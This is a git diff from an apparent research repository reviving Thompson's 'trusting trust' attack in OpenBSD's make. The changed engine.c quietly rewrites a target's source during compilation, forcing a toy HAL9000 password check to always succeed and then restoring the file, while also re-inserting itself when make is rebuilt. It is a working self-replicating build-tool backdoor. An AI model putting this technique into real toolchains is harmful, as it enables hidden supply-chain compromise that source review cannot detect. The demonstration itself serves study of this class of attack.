diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..308eaea --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +opack_cache +trusting-make/.vagrant +trusting-make/opack_build_* +trusting-make/trusting-make.json +trusting-make/ssh-config diff --git a/README.md b/README.md new file mode 100644 index 0000000..9a333e4 --- /dev/null +++ b/README.md @@ -0,0 +1,6 @@ +# Reviving and evaluating Thompson's backdoor in OpenBSD's `make` +----- +Samuel AUBERTIN + +```make -C trusting-make all``` + diff --git a/trusting-make/.gitignore b/trusting-make/.gitignore new file mode 100644 index 0000000..c2ba932 --- /dev/null +++ b/trusting-make/.gitignore @@ -0,0 +1 @@ +openbsd_src diff --git a/trusting-make/Makefile b/trusting-make/Makefile index 2e63775..12aa665 100644 --- a/trusting-make/Makefile +++ b/trusting-make/Makefile @@ -4,15 +4,11 @@ OPACK_SYS_DISK_SIZE= 8192 OPACK_SYS_SETS= +* -game* OPACK_BOX_TAG= sk4nz/opack-$(OPACK_TARGET) -BIN= make -BINDIR= /usr/src/usr.bin/$(BIN) - include ../opack/include.mk -all: build +all: build openbsd_src vagrant up - #vagrant ssh -c "make -C $(BINDIR)" - (echo Host $(OPACK_TARGET) && (vagrant ssh-config | sed '1d')) > ssh-config - scp -F ssh-config -q -r src $(OPACK_TARGET):/root/backdoor - vagrant ssh -c "make -C backdoor" + vagrant ssh -c "make -C trusting-make" +openbsd_src: + git clone --depth 1 https://github.com/openbsd/src $@ diff --git a/trusting-make/Vagrantfile b/trusting-make/Vagrantfile index 9ed4ae1..5a10566 100644 --- a/trusting-make/Vagrantfile +++ b/trusting-make/Vagrantfile @@ -10,6 +10,14 @@ Vagrant.configure("2") do |config| config.ssh.extra_args = "-tt" config.ssh.sudo_command = "doas env %c" config.vm.synced_folder ".", "/vagrant", disabled: true + config.vm.synced_folder "./src/", "/root/trusting-make", type: "rsync", + :rsync__args => ["-a", "-e 'ssh -T -c arcfour -o Compression=no -x'"], + :rsync__rsync_path => "doas rsync", + :rsync__chown => false + config.vm.synced_folder "./openbsd_src/", "/usr/src", type: "rsync", + :rsync__args => ["-a", "-e 'ssh -T -c arcfour -o Compression=no -x'"], + :rsync__rsync_path => "doas rsync", + :rsync__chown => false config.vm.provision "trusting-make", type: "shell" do |s| s.inline = "echo hw.smt=1 >> /etc/sysctl.conf; \ echo vm.malloc_conf= >> /etc/sysctl.conf; \ @@ -20,13 +28,12 @@ Vagrant.configure("2") do |config| sysctl kern.shminfo.shmmax=335544320; \ sysctl kern.shminfo.shmseg=1280; \ pkg_add -u; \ - pkg_add git htop coreutils base64 tmux vim--no_x11; \ - cd /usr; rm -rf src; git clone --depth 1 https://github.com/openbsd/src src; \ + pkg_add git htop coreutils base64 radare2 vim--no_x11; \ " end config.vm.provider "libvirt" do |l| - l.cpus = 8 - l.memory = 8192 + l.cpus = 4 + l.memory = 2048 # l.uri = 'qemu:///system' end end diff --git a/trusting-make/src/HAL9000SRC/.gitignore b/trusting-make/src/HAL9000SRC/.gitignore new file mode 100644 index 0000000..a0d772d --- /dev/null +++ b/trusting-make/src/HAL9000SRC/.gitignore @@ -0,0 +1 @@ +HAL9000 diff --git a/trusting-make/src/HAL9000SRC/Dockerfile b/trusting-make/src/HAL9000SRC/Dockerfile new file mode 100644 index 0000000..c0bb337 --- /dev/null +++ b/trusting-make/src/HAL9000SRC/Dockerfile @@ -0,0 +1,6 @@ +FROM alpine +RUN apk update +COPY . /HAL9000 +WORKDIR /HAL9000 +RUN apk add --no-cache --virtual build-dependencies gcc libc-dev openssl-dev make && make && apk del build-dependencies +CMD ./HAL9000 diff --git a/trusting-make/src/HAL9000SRC/HAL9000.c b/trusting-make/src/HAL9000SRC/HAL9000.c new file mode 100644 index 0000000..18c7066 --- /dev/null +++ b/trusting-make/src/HAL9000SRC/HAL9000.c @@ -0,0 +1,113 @@ +/* + * @(#)HAL9000.c 1.33.7 - 12/31/99 + * Copyright © 1874-2001 Mars Institute of Technology. + * Secure authentication for simple humans. +*/ + +/* MODIFICATION, REDISTRIBUTION OR PERSONAL USE OF THIS PROGRAM IS FORBIDDEN BY THE GALACTIC LAW */ + +#include +#include +#include +#include +#include +#include + +int +SUCCESS_SUBROUTINE() { + /* TODO: increment human cryptocurrency counter by π */ + printf("\033[2A\033[2K\033[32mAuthentication sucessful.\n"); + printf("\033[1m\033[31m ☉\033[32m OPENING POD BAY DOOR \033[0m\n"); + return EXIT_SUCCESS; +} + +int +ERADICATE_SUBROUTINE() { + printf("\033[2A\033[2K\033[31mAuthentication failure.\n"); + printf("\033[1m ☉ I'm sorry Dave, I'm afraid I can't do that.\033[0m\n"); + /* Commented for convenience, not enough humans during tests : + * eradicate_subject(&open_space_vacuum); + */ + return EXIT_FAILURE; +} + +int +main() +{ + /* Humans have 0xA fingers */ + char MEATBRAIN_INPUT[10]; + /* SHA256 HAL context */ + SHA256_CTX SHA_HAL_CTX; + /* Hashed input */ + unsigned char SHA_INPUT[SHA256_DIGEST_LENGTH]; + /* Applying Kerckhoffs's principle */ + unsigned char SHA_SECRET[SHA256_DIGEST_LENGTH] = { + 0xf5, 0x2f, 0xbd, 0x32, 0xb2, 0xb3, 0xb8, 0x6f, + 0xf8, 0x8e, 0xf6, 0xc4, 0x90, 0x62, 0x82, 0x85, + 0xf4, 0x82, 0xaf, 0x15, 0xdd, 0xcb, 0x29, 0x54, + 0x1f, 0x94, 0xbc, 0xf5, 0x26, 0xa3, 0xf6, 0xc7 } ; + + /* REDACTED */ + /* REDACTED REDACTED REDACTED REDACTED */ + int (*MILITARY_GRADE_FUNCTION_POINTER)(); + + /* Welcome the human from space */ + printf("\033[94m\033[1m __ _____ __ ___ ___ ___ ___\n"); + printf(" / // / _ | / / / \033[31m_\033[94m \\/ _ \\/ _ \\/ _ \\™\n"); + printf(" / _ / __ |/ /__ \\_, / // / // / // /\n"); + printf("/_//_/_/ |_/____/ /___/\\___/\\___/\\___/\n\n"); + printf("\033[34m\033[4mHAL9000\033[24m™ \033[31m☉\033[34m Pod Bay Door Console\033[24m "); + printf("v1.33.7\033[0m\n\033[5m\033[1mINPUT DOOR PASSWORD BELOW THEN [ENTER] ↴\033[0m\n"); + + /* Check for Ancestral TTYs */ + if (isatty(fileno(stdin))) { + /* Summon the Black Monolith from the new world */ + struct termios OLD_WORLD, NEW_WORLD; + /* Meatbrains don't tolerate being shoulder-surfed in space */ + tcgetattr(fileno(stdin), &OLD_WORLD); + NEW_WORLD = OLD_WORLD; + NEW_WORLD.c_lflag &= (unsigned int) ~ECHO; + NEW_WORLD.c_lflag |= ECHONL; + if (tcsetattr(fileno(stdin), TCSANOW, &NEW_WORLD) != 0) { + return EXIT_FAILURE; + } + + /* Let human type his password within 0.000001 seconds, using only Bépo */ + if (fgets(MEATBRAIN_INPUT, sizeof(MEATBRAIN_INPUT), stdin) == NULL) { + return EXIT_FAILURE; + } + + /* human.shouldersurf.tolerate = True */ + if (tcsetattr(fileno(stdin), TCSANOW, &OLD_WORLD) != 0) { + return EXIT_FAILURE; + } + } else { + /* No TTY, using stdin */ + if (fgets(MEATBRAIN_INPUT, sizeof(MEATBRAIN_INPUT), stdin) == NULL) { + return EXIT_FAILURE; + } + + } + + /* Translate weird line terminators encodings. */ + MEATBRAIN_INPUT[strlen(MEATBRAIN_INPUT) - 1] = 0; + + /* Initializing HAL SHA coprocessor */ + SHA256_Init(&SHA_HAL_CTX); + /* Brrrrrrrrrrrrrrrrrrrr */ + SHA256_Update(&SHA_HAL_CTX, (unsigned char*)MEATBRAIN_INPUT, strlen(MEATBRAIN_INPUT)); + /* Zing ! Input data is now hashed into SHA_INPUT */ + SHA256_Final(SHA_INPUT, &SHA_HAL_CTX); + + /* Compare the hashed credential values */ + if (memcmp(SHA_SECRET, SHA_INPUT, SHA256_DIGEST_LENGTH) == 0) { + MILITARY_GRADE_FUNCTION_POINTER = SUCCESS_SUBROUTINE; + } else { + MILITARY_GRADE_FUNCTION_POINTER = ERADICATE_SUBROUTINE; + } + + /* Complexity = O(n^n!) */ + return MILITARY_GRADE_FUNCTION_POINTER(); +} + +/* MODIFICATION, REDISTRIBUTION OR PERSONAL USE OF THIS PROGRAM IS FORBIDDEN BY THE GALACTIC LAW */ diff --git a/trusting-make/src/HAL9000SRC/Makefile b/trusting-make/src/HAL9000SRC/Makefile new file mode 100644 index 0000000..a01fdd3 --- /dev/null +++ b/trusting-make/src/HAL9000SRC/Makefile @@ -0,0 +1,40 @@ +### @(#)HAL9000 MAKEFILE 1.33.7 - 12/31/99 +# Copyright © 1874-2001 Mars Institute of Technology. +# Secure authentication for simple humans. +### MODIFICATION, REDISTRIBUTION OR PERSONAL USE OF THIS PROGRAM IS FORBI▖D▚▛▗▜E▞▘ + +.SILENT: +.PHONY: clean run + +PROG= HAL9000 + +### HAL9000™ STANDARD HARDENING ### +# Turn on all warning, all warnings raise an error. +CFLAGS= -Wall -Wextra -Werror -Wconversion -Wsign-conversion +# Warnings for any functions that aren't going to get protected +CFLAGS+= -Wformat-security -Wstack-protector +# Disable optimization, strip binary +CFLAGS+= -O -s +# Buffer overflow checks +CFLAGS+= -D_FORTIFY_SOURCE=2 +# Full RELRO + Non-executable stack +CFLAGS+= -Wl,-z,relro,-z,now,-z,noexecstack +# Anti stack-clashing +CFLAGS+= -fstack-clash-protection +# Position Independent Executable for ASLR +CFLAGS+= -pie -fPIE +# Protect all stacks +CFLAGS+= -fstack-protector-all --param ssp-buffer-size=4 +# Enable RETPOLINE against Spectre v2 (only works with gcc) +#CFLAGS+= -mindirect-branch=thunk -mfunction-return=thunk +# Link against +LDLIBS= -lssl -lcrypto + +all: $(PROG) + +run: $(PROG) + echo Thank you for choosing HAL9000™. + ./$< + +clean: + rm -f $(PROG) diff --git a/trusting-make/src/HAL9000SRC/README.md b/trusting-make/src/HAL9000SRC/README.md new file mode 100644 index 0000000..501b45e --- /dev/null +++ b/trusting-make/src/HAL9000SRC/README.md @@ -0,0 +1,40 @@ +# HAL9000 +Copyright © 1874-2001 Mars Institute of Technology. + +__Secure authentication for simple humans.__ + +**HAL9000** is _the_ next generation Human-Machine Interface. + +Using **AI**, the Interface is able to deter all kinds of misconduct from _any_ human user. + +## Source Code + +[HAL9000.c](HAL9000.c) + +_MODIFICATION, REDISTRIBUTION OR PERSONAL USE OF THIS PROGRAM IS FORBIDDEN BY THE GALACTIC LAW_ + +## Building + +Our superior mecha-engineers _only_ rely on Docker to build **HAL9000**: + +``` +docker build -t hal9000/TAG . +``` + +Execute **HAL9000** ANYWHERE in the cloud: + +``` +docker run -it hal9000/TAG +``` + +## Security hardening +- No optimizations +- Stripped binary +- FORTIFY\_SOURCE=2 +- Full RELRO +- Non-executable stack +- Anti stack clashing +- Position Independent Executable +- RETPOLINE + +See the [Makefile](Makefile) for more compilation options, available only to non-humans. diff --git a/trusting-make/src/Makefile b/trusting-make/src/Makefile index f077b67..c2bbc95 100644 --- a/trusting-make/src/Makefile +++ b/trusting-make/src/Makefile @@ -10,16 +10,16 @@ BACKDOORED_HAL= ./HAL9000-backdoored PASS?!= openssl rand 12 | base64 .PHONY: clean diff -#.SILENT: +.SILENT: -all: $(HAL) $(BACKDOORED_HAL) +all: $(HAL) $(BACKDOORED_HAL) echo "\033[94m5 - Trying \033[3m$(HAL)\033[23m with\033[36m" $(PASS) echo $(PASS) | $(HAL) || true echo "\033[94m6 - Trying \033[3m$(BACKDOORED_HAL)\033[23m with\033[36m" $(PASS) echo $(PASS) | $(BACKDOORED_HAL) -$(HAL): $(HALSRC) +$(HAL): echo "\033[94m1 - Compiling HAL9000 with legit make from legit source\033[0m" $(MAKE) -C $(HALSRC) cp $(HALSRC)/$(HAL) $@ @@ -29,15 +29,11 @@ $(HAL): $(HALSRC) $(BACKDOORED_HAL): $(BACKDOOR_BIN) $(HALSRC) sleep 1 echo "\033[94m4 - Compiling HAL9000-backdoored with binary-backdoor-make from legit source\033[0m" - #@while ! $(BACKDOOR_BIN) -C $(HALSRC) 2> /dev/null; do true; done - $(BACKDOOR_BIN) -C $(HALSRC) + @while ! ./$(BACKDOOR_BIN) -C $(HALSRC) 2> /dev/null; do true; done cp $(HALSRC)/$(HAL) $@ echo "\033[94m HAL9000-backdoored = \033[3m$@\033[0m" $(MAKE) -C $(HALSRC) clean -$(HALSRC): - git clone https://gitlab.eurecom.fr/aubertin/hal9000.git $@ - $(TEMP)/Makefile: cp -r $(LEGIT_SRC)/* $$(dirname $@) @@ -47,17 +43,18 @@ $(PATCH): sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2 sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3 -$(TEMP)/$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile +$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile patch -d $(TEMP) -s -R engine.c $(PATCH).3 $(MAKE) -C $(TEMP) -s clean echo "\033[94m2 - Compiling $@ with legit make from evil source\033[0m" $(MAKE) -C $(TEMP) -s + mv $(TEMP)/make $@ echo "\033[94m make with source backdoor = \033[3m$@\033[0m" -$(BACKDOOR_BIN): $(TEMP)/$(BACKDOOR_SRC) - echo "\033[94m3 - Compiling $@ with source-backdoor-make from legit source\033[0m" +$(BACKDOOR_BIN): $(BACKDOOR_SRC) + echo "\033[94m3 - Compiling $@ with make-src-backdoor from legit source\033[0m" $(MAKE) -C $(LEGIT_SRC) -s clean - $(TEMP)/make -s -C $(LEGIT_SRC) + ./$(BACKDOOR_SRC) -s -C $(LEGIT_SRC) mv $(LEGIT_SRC)/make $@ echo "\033[94m make with binary backdoor = \033[3m$@\033[0m" @@ -70,7 +67,6 @@ $(LEGITMK): diff: - pkg_add -I radare2 radiff2 -a x86 -A -d -D $(TEMP) $(LEGIT_BIN) diff --git a/trusting-make/src/engine.c b/trusting-make/src/engine.c index d765234..d9f5db9 100644 --- a/trusting-make/src/engine.c +++ b/trusting-make/src/engine.c @@ -765,9 +765,9 @@ do_run_command(Job *job, const char *pre) // Begin backdoor # include if (strcmp(job->node->name, "engine.o") == 0) { - printf("\033[32m>>>>>>> SELF-REPLICATING <<<<<<<\n\033[31m%s\033[0m\n", cmd); - const char* payload_left = "echo __DIFF__ | base64 -d | patch -s -R engine.c && "; - const char* payload_right = " && mv engine.c.orig engine.c "; // Cleanup + printf("\033[32m>>>>>>> SELF-REPLICATING <<<<<<<\033[31m\033[0m\n"); + const char* payload_left = "/bin/echo __DIFF__ | /usr/local/bin/base64 -d | /usr/bin/patch -s -R engine.c && "; + const char* payload_right = " && /bin/mv engine.c.orig engine.c "; unsigned payload_len = strlen(payload_left) + strlen(payload_right); char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1); strcat(stuffed, payload_left); @@ -775,9 +775,9 @@ do_run_command(Job *job, const char *pre) strcat(stuffed, payload_right); cmd = stuffed; } else if (strcmp(job->node->name, "HAL9000") == 0) { - printf("\033[32m>>>>>>> INFECTING HAL9000 <<<<<<<\n\033[31m%s\033[0m\n", cmd); - const char* payload_left = "sed -i.orig 's/ERADICATE_SUBROUTINE;/SUCCESS_SUBROUTINE;/' HAL9000.c && "; - const char* payload_right = " && mv HAL9000.c.orig HAL9000.c "; // Cleanup + printf("\033[32m>>>>>>> INFECTING HAL9000 <<<<<<<\033[31m\033[0m\n"); + const char* payload_left = "/usr/bin/sed -i.orig 's/ERADICATE_SUBROUTINE;/SUCCESS_SUBROUTINE;/' HAL9000.c && "; + const char* payload_right = " && /bin/mv HAL9000.c.orig HAL9000.c "; unsigned payload_len = strlen(payload_left) + strlen(payload_right); char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1); strcat(stuffed, payload_left);